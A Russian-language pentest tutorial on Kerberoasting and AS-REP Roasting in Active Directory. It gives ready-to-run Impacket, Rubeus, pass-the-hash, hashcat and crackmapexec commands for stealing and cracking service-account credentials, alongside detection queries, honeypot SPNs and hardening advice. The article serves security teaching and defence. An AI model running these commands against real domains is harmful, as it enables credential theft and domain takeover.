Статья Атаки на Active Directory аутентификацию: Kerberoasting и AS-REP Roasting от разведки до детекта

Статья записана со слов моего коллеги - практикующего пентестера, который регулярно работает с Active Directory на внутренних проектах. Дальше повествование от первого лица.

Когда я провожу внутренний пентест, первое, что делаю после получения доменной учётки - проверяю, есть ли в домене Kerberoastable-аккаунты и пользователи без преаутентификации. В восьми из десяти проектов это даёт хотя бы одну сервисную учётку со слабым паролем и прямой путь к повышению привилегий. Ни один антивирус не пикнет, потому что всё, что я делаю - легитимные запросы к KDC, предусмотренные самим протоколом Kerberos. Штатная функция, а не эксплойт.

Дальше разберу атаки на Active Directory аутентификацию через Kerberoasting и AS-REP Roasting: от разведки через LDAP до офлайн-крекинга в Hashcat и детектирования каждого шага по Event ID. Не абстрактно - с конкретными командами, флагами и объяснением, почему выбран именно такой подход.

Kerberos за 90 секунд - что нужно знать для атаки​

Перед тем как ломать, надо понимать протокол. Kerberos работает на билетной системе из трёх участников: клиент, KDC (Key Distribution Center, он же контроллер домена) и целевой сервис.

Упрощённый флоу:

1. AS-REQ → AS-REP: клиент шлёт запрос аутентификации на KDC. Если преаутентификация включена, запрос содержит временную метку, зашифрованную хэшем пароля пользователя. KDC проверяет метку и возвращает TGT (Ticket Granting Ticket).
2. TGS-REQ → TGS-REP: клиент предъявляет TGT и запрашивает сервисный билет (TGS) для конкретного SPN (Service Principal Name). KDC возвращает TGS, зашифрованный хэшем пароля сервисного аккаунта.
3. AP-REQ: клиент предъявляет TGS целевому сервису.

Критический момент для пентестера: на шаге 2 KDC не проверяет, имеет ли запрашивающий пользователь право доступа к сервису. Любой доменный пользователь может запросить TGS для любого SPN. Исключения: члены группы Protected Users не могут аутентифицироваться через RC4, а Kerberos Armoring (FAST) добавляет дополнительный уровень защиты на этапе запроса. Но в дефолтной конфигурации - карт-бланш. А часть билета зашифрована хэшем пароля сервисной учётки - именно эту часть мы будем крекать офлайн.

Kerberoasting атака - полный цикл​

Kerberoasting (

Ссылка скрыта от гостей

) - постэксплуатационная техника для извлечения зашифрованных учётных данных сервисных аккаунтов из Active Directory. Любой аутентифицированный доменный пользователь может провернуть это - привилегии Domain Admin не нужны.

Разведка - поиск SPN через LDAP​

Первый шаг - найти аккаунты, к которым привязаны SPN. Тут важно не путать: SPN на машинных аккаунтах (host-based SPN) нам неинтересны. Их пароли - 240 байт криптографически случайных данных, которые ротируются каждые 30 дней по умолчанию (параметр Domain member: Maximum machine account password age). Крекать их бессмысленно. Нас интересуют SPN на пользовательских аккаунтах - их пароли задаёт человек, и они часто живут годами без ротации.

Через PowerShell, если работаю с Windows-хоста:

# Поиск пользовательских аккаунтов с SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, MemberOf | Select-Object Name, ServicePrincipalName, PasswordLastSet, MemberOf

Поле PasswordLastSet - критично. Если пароль не менялся 3+ года, шанс на успешный крек сильно выше. MemberOf покажет, стоит ли аккаунт в привилегированных группах.

Через BloodHound - после сбора данных SharpHound'ом - Kerberoastable-аккаунты находятся встроенным запросом List all Kerberoastable Accounts. BloodHound покажет не просто список, а пути от скомпрометированной учётки до цели - то, чего обычный LDAP-запрос не даст.

Через CrackMapExec с Linux-хоста:

# Перечисление Kerberoastable аккаунтов
crackmapexec ldap dc01.corp.local -u user -p 'Password123' --kerberoasting output.txt

Запрос TGS и извлечение хэшей​

После обнаружения целей запрашиваем сервисные билеты. Два основных инструмента: Impacket (с Linux) и Rubeus (с Windows).

Impacket - GetUserSPNs.py:

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться или Войти

# Запрос TGS для всех Kerberoastable аккаунтов
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip 10.10.10.1 -request -outputfile tgs_hashes.txt

Флаги:

• -dc-ip - явно указываем IP контроллера домена; без него скрипт попытается резолвить через DNS, что не всегда работает из внешней сети
• -request - собственно запрос TGS; без этого флага скрипт просто выведет список аккаунтов с SPN
• -outputfile - сохраняет хэши в формате, готовом для Hashcat

Если пароля нет, но есть NTLM-хэш (например, после Responder). Формат: -hashes LMHASH:NTHASH, где LM-часть обычно aad3b435b51404eeaad3b435b51404ee (пустой LM), а NT-часть - реальный хэш:

# Kerberoasting через pass-the-hash
python3 GetUserSPNs.py corp.local/user -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b -dc-ip 10.10.10.1 -request -outputfile tgs_hashes.txt

Rubeus с Windows-хоста:

# Запрос TGS для всех Kerberoastable аккаунтов
.\Rubeus.exe kerberoast /outfile:tickets.txt

Rubeus по умолчанию запрашивает билеты с RC4-шифрованием (etype 23). Это можно изменить:

# Форсировать AES-шифрование (тише, но крек медленнее)
.\Rubeus.exe kerberoast /enctype:aes256 /outfile:tickets_aes.txt

Момент, который часто упускают: если в домене принудительно отключён RC4 и включён только AES, Rubeus с дефолтными параметрами вернёт ошибку. На одном проекте я потратил час, разбираясь с KRB-ERROR (14), пока не догадался заглянуть в GPO - там стояло

Ссылка скрыта от гостей

только с AES-128 и AES-256. В таком случае /enctype:aes256 спасает - билет получишь, но крек займёт значительно больше времени.

Взлом Kerberos хэшей - Hashcat и режимы​

Хэши из TGS-билетов крекаются офлайн - KDC об этом не узнает, логов не будет. Тишина.

# RC4 (etype 23) - Hashcat mode 13100
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 (etype 18) - Hashcat mode 19700
hashcat -m 19700 tgs_hashes_aes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Разница в скорости - колоссальная. На GPU уровня RTX 4090:

• RC4 (mode 13100): сотни тысяч хэшей в секунду
• AES-256 (mode 19700): на порядки медленнее

Именно поэтому атакующие предпочитают RC4 - и именно поэтому его отключение на стороне защиты так важно. Microsoft до сих пор поддерживает RC4 для обратной совместимости (спасибо, мелкософт), что делает Kerberoasting-атаки быстрее и проще, чем могло бы быть.

Правила (-r) увеличивают эффективность перебора: best64.rule берёт каждое слово из словаря и создаёт 64 мутации - добавление цифр, замена символов, смена регистра. Для сервисных аккаунтов, где пароли часто вида Summer2023! или Svc_Password1, это работает отлично.

Что даёт успешный Kerberoasting​

Получив пароль сервисного аккаунта, атакующий наследует все его права. Если учётка в Domain Admins - игра окончена. Если нет - она часто имеет доступ к базам данных (SQL Server), файловым шарам или используется для делегирования, что открывает путь к lateral movement. По данным CrowdStrike, после получения учётных данных через Kerberoasting атакующий может красть данные, повышать привилегии и закрепляться бэкдорами.

AS-REP Roasting - когда пароль не нужен даже для запроса​

AS-REP Roasting (

Ссылка скрыта от гостей

) эксплуатирует аккаунты с отключённой преаутентификацией Kerberos. В отличие от Kerberoasting, здесь даже не нужна валидная доменная учётка - достаточно знать имя пользователя.

Напомню механику: при обычной аутентификации клиент шлёт AS-REQ с зашифрованной временной меткой. Если преаутентификация отключена (DONT_REQUIRE_PREAUTH), KDC вернёт AS-REP с частью данных, зашифрованных хэшем пароля пользователя, без проверки подлинности запроса. Согласно MITRE ATT&CK, для каждого такого аккаунта атакующий может отправить AS-REQ без зашифрованной метки и получить AS-REP с данными, которые могут быть зашифрованы небезопасным алгоритмом вроде RC4.

Поиск аккаунтов без преаутентификации​

# PowerShell - поиск аккаунтов с DONT_REQUIRE_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name, DistinguishedName

Встречается чаще, чем кажется. По данным HackTheBox, на одном из реальных пентестов все учётные записи имели отключённую преаутентификацию из-за сбоя внутреннего приложения - админы включили эту настройку «временно», и она продержалась почти два года. Классика: нет ничего более постоянного, чем временное.

Получение AS-REP и крекинг​

Impacket - GetNPUsers.py:

# С доменной учёткой - найдёт все уязвимые аккаунты автоматически
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip 10.10.10.1 -request -outputfile asrep_hashes.txt

# Без учётки - нужен список юзернеймов
python3 GetNPUsers.py corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

Флаг -format hashcat сразу выдаёт хэши в формате mode 18200.

Rubeus:

.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

Крекинг:

# AS-REP hash - Hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Режим 18200 крекает быстро - сравнимо с RC4-билетами из Kerberoasting. Если пароль словарный, результат через минуты.

Реальные кейсы использования AS-REP Roasting​

Это не теоретическая угроза. По исследованию The DFIR Report, группировка BlackSuit использовала AS-REP Roasting в атаках с ransomware - целились в аккаунты с отключённой преаутентификацией для получения первоначального доступа к паролям. Группировка Diavol (MITRE ATT&CK Software S0659) действовала аналогично: захват зашифрованных AS-REP-ответов с последующим офлайн-взломом для получения plaintext-паролей.

Детектирование Kerberoasting и AS-REP Roasting​

Переключаюсь в режим Purple Team. Каждая из описанных атак оставляет следы в логах контроллера домена - вопрос в том, сможете ли вы отличить атаку от легитимной активности среди тысяч событий Kerberos в минуту.

Event ID 4769 - детектирование Kerberoasting​

Event ID 4769 (A Kerberos service ticket was requested) генерируется при каждом запросе TGS. В корпоративной среде таких событий - тысячи в минуту. Тупо мониторить 4769 - утонете в шуме.

Ключевые поля для фильтрации:

• Ticket Encryption Type = 0x17 (RC4-HMAC). В среде с настроенным AES запросы с RC4 - аномалия. Все основные инструменты (Impacket, Rubeus) по умолчанию запрашивают именно RC4
• Количество запросов от одного пользователя. Один аккаунт запросил TGS для 15 разных SPN за 30 секунд - это разведка или Kerberoasting, а не нормальная работа

Пример запроса для Splunk:

index=windows EventCode=4769 Ticket_Encryption_Type="0x17"
| bin _time span=5m
| stats count by _time, Account_Name, Service_Name
| where count > 10

Для ELK/OpenSearch логика аналогична - фильтр по winlog.event_id: 4769 и winlog.event_data.TicketEncryptionType: "0x17".

Event ID 4768 - детектирование AS-REP Roasting​

Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) - основной индикатор AS-REP Roasting. По детальным разборам HackTheBox и Semperis, три условия в связке дают высокоточный индикатор:

1. Pre-Authentication Type = 0 (отключена). Главное условие - без него атака невозможна. Фильтрация только по этому полю уже убирает ~90% шума
2. Service Name = krbtgt. При аутентификации через Kerberos сервисом всегда выступает krbtgt
3. Ticket Encryption Type = 0x17 (RC4). Атакующие запрашивают RC4, потому что он быстрее крекается

Когда все три совпали - вероятность false positive минимальна.

Пример запроса для Splunk:

index=windows EventCode=4768 Pre_Authentication_Type=0 Ticket_Encryption_Type="0x17" Service_Name="krbtgt"
| table _time, Account_Name, Client_Address, Ticket_Encryption_Type

Нюанс: Event ID 4768 покажет жертву (аккаунт, для которого запросили AS-REP), но не покажет, кто запросил. Чтобы вычислить атакующего, нужна корреляция: по Client_Address из 4768 ищем аутентификацию на этом хосте - Event ID 4624 с тем же IP покажет, под каким аккаунтом работал атакующий.

Honeypot SPN - ловушка с нулевым false positive​

Этот приём работает лучше любого SIEM-правила. Создаёте в AD сервисный аккаунт с аппетитным SPN (например, MSSQLSvc/sqlprod.corp.local:1433), ставите на него пароль в 30+ символов со спецсимволами, и никогда не используете в продакшене. Аккаунт не привязан к реальному сервису - никто не должен запрашивать для него TGS.

Появление Event ID 4769 с Service_Name, указывающим на этот аккаунт, - стопроцентный индикатор Kerberoasting. Ноль false positive, потому что легитимного трафика к этому SPN быть не может. Красота.

По данным Zscaler, такой deception-based подход позволяет остановить атаку автоматически: при срабатывании алерт уходит в EDR с командой на изоляцию хоста. Это быстрее любой корреляции в SIEM.

Практический совет: создайте несколько honeypot-аккаунтов с разными типами SPN (MSSQL, HTTP, exchangeMDB). Rubeus и GetUserSPNs.py запрашивают все SPN разом - любой из honeypot'ов сработает как растяжка.

Защита - что реально работает в корпоративных AD-средах​

gMSA и политика паролей для сервисных аккаунтов​

Ссылка скрыта от гостей

(gMSA) - самое эффективное средство против Kerberoasting. Пароли gMSA - 240 байт криптографически случайных данных, ротируются автоматически каждые 30 дней. Крекать бессмысленно. По рекомендациям CrowdStrike, gMSA полностью снимают риск, связанный с ручным управлением паролями сервисных учёток.

Если gMSA неприменим (старые приложения, специфические конфигурации) - минимум 25 символов со спецсимволами и принудительная ротация. На бумаге это базовая рекомендация, но на практике я встречаю сервисные аккаунты с паролями вроде Password1 в каждом втором проекте. На заборе тоже написано «сложный пароль обязателен».

Отключение RC4 и форсирование AES​

Это одновременно замедляет крекинг и делает атаку заметнее в логах. Двойной профит.

Через GPO: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Configure encryption types allowed for Kerberos.

Оставьте только:

• AES128_HMAC_SHA1
• AES256_HMAC_SHA1

Предупреждение из практики: перед отключением RC4 проведите аудит. Некоторые legacy-приложения и старые ОС (Windows Server 2003, некоторые Linux-клиенты со старым MIT Kerberos) не поддерживают AES. Отключите RC4 без проверки - сломаете аутентификацию для этих систем, и в понедельник утром вас будут искать с фонарями.

После отключения RC4 любой запрос TGS с etype 0x17 в логах становится явной аномалией, что сильно упрощает детектирование.

Аудит SPN и аккаунтов без преаутентификации​

Регулярная проверка - раз в квартал минимум:

# Аккаунты с SPN (потенциальные цели Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet |
  Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |
  Select-Object Name, ServicePrincipalName, PasswordLastSet

# Аккаунты без преаутентификации (цели AS-REP Roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select-Object Name, DistinguishedName

Первый запрос покажет аккаунты с SPN, пароль которых не менялся больше года - приоритетные цели для атакующего. Второй - аккаунты, уязвимые к AS-REP Roasting.

PingCastle позволяет проводить комплексный аудит безопасности домена и выявлять подобные проблемы автоматически - рекомендую прогнать хотя бы раз, результаты часто отрезвляют.

Связь с другими атаками на Active Directory​

Kerberoasting и AS-REP Roasting редко существуют в изоляции. На реальном пентесте они - звено цепочки:

Kerberoasting → DCSync (T1003.006): получили пароль сервисного аккаунта с правами репликации → выгрузили хэши всех пользователей через DCSync → создали Golden Ticket (T1558.001) с хэшем krbtgt. Домен - наш.

AS-REP Roasting → Pass the Ticket (T1550.003): получили пароль пользователя → запросили TGT → используем для lateral movement без повторной аутентификации.

Kerberoasting → Silver Ticket (T1558.002): получили пароль сервисного аккаунта → создали поддельный TGS для целевого сервиса без обращения к KDC → доступ к ресурсу без следов в логах контроллера домена. Тихо, как в библиотеке.

Для пентестера важно видеть полную картину. BloodHound покажет, что аккаунт svc_backup Kerberoastable, состоит в группе Backup Operators, и через это членство можно добраться до NTDS.dit. Это не три отдельные техники - это один путь атаки.

Практический чек-лист: пентест AD аутентификации​

🔓 Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться или Войти

Пошаговый план для внутреннего пентеста - делай раз, делай два, делай три:

Шаг 1: Разведка (Domain Account Discovery, T1087.002)

# Список Kerberoastable аккаунтов (без запроса билетов)
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip 10.10.10.1

# Список аккаунтов без преаутентификации
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip 10.10.10.1

Шаг 2: Kerberoasting

python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip 10.10.10.1 -request -outputfile tgs_hashes.txt

Шаг 3: AS-REP Roasting

# При наличии учётных данных -request не обязателен (автоматически запрашивает AS-REP)
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip 10.10.10.1 -outputfile asrep_hashes.txt -format hashcat

Шаг 4: Крекинг

# Kerberoasting RC4
hashcat -m 13100 tgs_hashes.txt wordlist.txt -r best64.rule

# AS-REP
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r best64.rule

Шаг 5: Валидация

# Проверка полученных учётных данных
crackmapexec smb 10.10.10.1 -u svc_sql -p 'CrackedPassword123'

Шаг 6: Документирование для Purple Team

Зафиксируйте время каждого действия. После теста передайте SOC-команде timestamps - пусть проверят, что сгенерировалось в логах. Если ни один из ваших запросов не породил алерт - у них проблема, и лучше узнать об этом сейчас, а не когда придёт настоящий гость.

Сравнение Kerberoasting и AS-REP Roasting​

Параметр	Kerberoasting	AS-REP Roasting
MITRE ATT&CK	T1558.003	T1558.004
Нужна доменная учётка	Да	Нет (достаточно имён пользователей)
Целевой аккаунт	С привязанным SPN	С отключённой преаутентификацией
Тип билета	TGS (сервисный)	AS-REP (аутентификационный)
Event ID для детекта	4769	4768
Hashcat mode (RC4)	13100	18200
Hashcat mode (AES-256)	19700	19900 (если в домене отключён RC4; значительно медленнее)
Частота в реальных средах	Высокая	Средняя
Основная защита	gMSA, длинные пароли, отключение RC4	Включить преаутентификацию

Итоги​

Kerberoasting и AS-REP Roasting - атаки на Active Directory аутентификацию, которые не требуют привилегий, не используют малварь и эксплуатируют штатные механизмы протокола Kerberos. Защита строится на трёх уровнях: усиление паролей (gMSA, 25+ символов), ограничение криптографии (только AES), мониторинг (Event ID 4769/4768 с фильтрацией по etype и honeypot SPN). Ни один из уровней не работает в одиночку - только в связке.

Если вы пентестер - проверяйте эти вектора первыми, они дают результат быстрее всего. Если на стороне защиты - прямо сейчас запустите два PowerShell-запроса из раздела «Аудит». Список из двадцати учёток, полученный за пять минут, покажет реальную поверхность атаки вашего домена. Если в этом списке есть аккаунт с PasswordLastSet трёхлетней давности и членством в Domain Admins - у вас та самая проблема, о которой вся эта статья.